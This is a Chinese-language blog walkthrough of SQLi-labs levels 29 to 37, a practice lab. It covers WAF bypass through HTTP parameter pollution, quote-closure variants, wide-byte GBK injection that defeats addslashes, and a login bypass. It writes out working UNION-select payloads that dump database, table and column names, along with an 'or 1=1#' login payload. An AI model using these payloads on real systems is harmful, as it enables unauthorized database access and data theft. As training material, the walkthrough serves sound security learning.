sqlilab 29-37 之看不懂的教程

第二十九关:

呼!前面的超级恶心的再也不想遇见的各种过滤题总算是告一段落,不过个人感觉后面还是会有,不多扯,来看这一题

首先题目提示了一个关键词  WAF,哈?这是什么玩意,对于我这个第一次接触的萌新来说,吓得我立刻就去百度-。-

那么接下来就是我经过粗糙理解后的结论:

服务器端是由一个tomcat引擎的jsp服务器和一个apache引擎的php服务器组成的,我们发送的数据会先被jsp服务器接受,通过jsp服务器再传给php服务器,然后php服务器再把响应数据发给jsp服务器,最后由jsp服务器传给客户端

然而这和WAF有什么关系呢。。。哦忘了说,经过百度,WAF是Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF

这么一看,jsp服务器貌似就可以做这个工作,也就是起到一个防火墙的作用,数据被jsp服务器进行过滤,然后传送到php服务器中

解释就这么多,那么这题该怎么办呢!!!我还是自闭了半天,无奈还是要靠看别人的题解过日子

这里我们可以传两个参数  id=1&id=2  

那么又有问题了,到底哪个参数才是给php服务器用的啊╮(╯▽╰)╭,这个也好办,改不同的id试试页面显示内容呗

通过尝试第一个参数传给了jsp服务器,第二个参数传给了php服务器

接下来,就又回到了第一关的内容

判断注入点:id=1&id=1'

验证:id=1&id=1' -- #

判断字段数:id=1&id=1' order by 4 -- #

判断显示位:id=1&id=0' union select 1,2,3 -- #

爆库:id=1&id=0' union select 1,group_concat(schema_name),3 from information_schema.schemata -- #

爆表:id=1&id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #

爆字段:id=1&id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- #

第三十关:

有了上一关的基础,这一关就比较好过了

还是一样判断啊注入点等步骤都和上面一样我这里就不细说了,只说一下不一样的地方

这一关把注入点单引号变成了双引号,关闭了报错,不过都不影响

不过在判断注入点时会有些麻烦,这里由于之前的经验,我又测试了一下")是不是注入点,因为如果关闭报错,并且用闭合的方法,"也能成功闭合,但这不是注入点

用注释的方法可以忽略以上内容,直接按步骤来

第三十一关:

标题上打着WAF,然而为什么我直接注就注出来了呢。。。报错也没关(人品好吗?这好像和人品没啥关系哈)

直接上payload:id=0") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #

也许我配置的有问题?唉算了过了就是过了

第三十二关:

来到这关,我们发现换了一个花样,于是也需要一点新知识,同样还是百度去学(和百度公司的合作真是很愉快啊-。-)

宽字节注入:

下面说说本人的理解,通过学习,mysql在使用GBK编码时,会认为两个字节是一个汉字,当然第一个字节的ascii要大于128,那么就好办了,在前面加一个字节使得 \ 一同转译变为汉字,这就是原理了

那么我们只要找一个ascii值大与128的GBK编码就好,我这里随便找一个%dd吧

下面给出payload:id=0%dd' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #

注:这说白了就是想办法去掉单引号前面的注释符问题,这里还有一种因题而定的方法,也许有些题并不会过滤  \  这种转译,那么我们只需要在单引号前加  \  将单引号的转译符转译,就可达到去掉单引号前注释符的效果

 

第三十三关:

方法和第三十二关一模一样,甚至可以直接复制粘贴

我就讲点不一样的东西吧,查看源码时发现了和上一关不一样的地方

出现了一个函数addslashes()

addslashes( str )  返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)

而第三十二关是用普通代码在单引号双引号反斜线前加  \  

第三十四关:

这关回到了第十一关的模样,那就用万能密码的方法吧,先输入admin' or 1=1# 密码随便输,发现登录失败,不过下面给出了过滤后的语句admin\' or 1=1# ,看来又是多出了注释符的原因

不过这是post传值,没法讲url编码转化为字符,只能靠我们手动输入的时候转化了,百度一下url解码

%df是�这个东西,那么现在只要将%df换为�,其余和上面第三十三关并无差异

第三十五关:

这关。。。做了一会儿,有点反人类,按理说都是越做越难,这关突然来个数字注入

话不多说直接上payload:id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #

第三十六关:

同上,单引号闭合,没坑点,不多bb

第三十七关:

同第三十四关,没坑点,不多bb

 

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值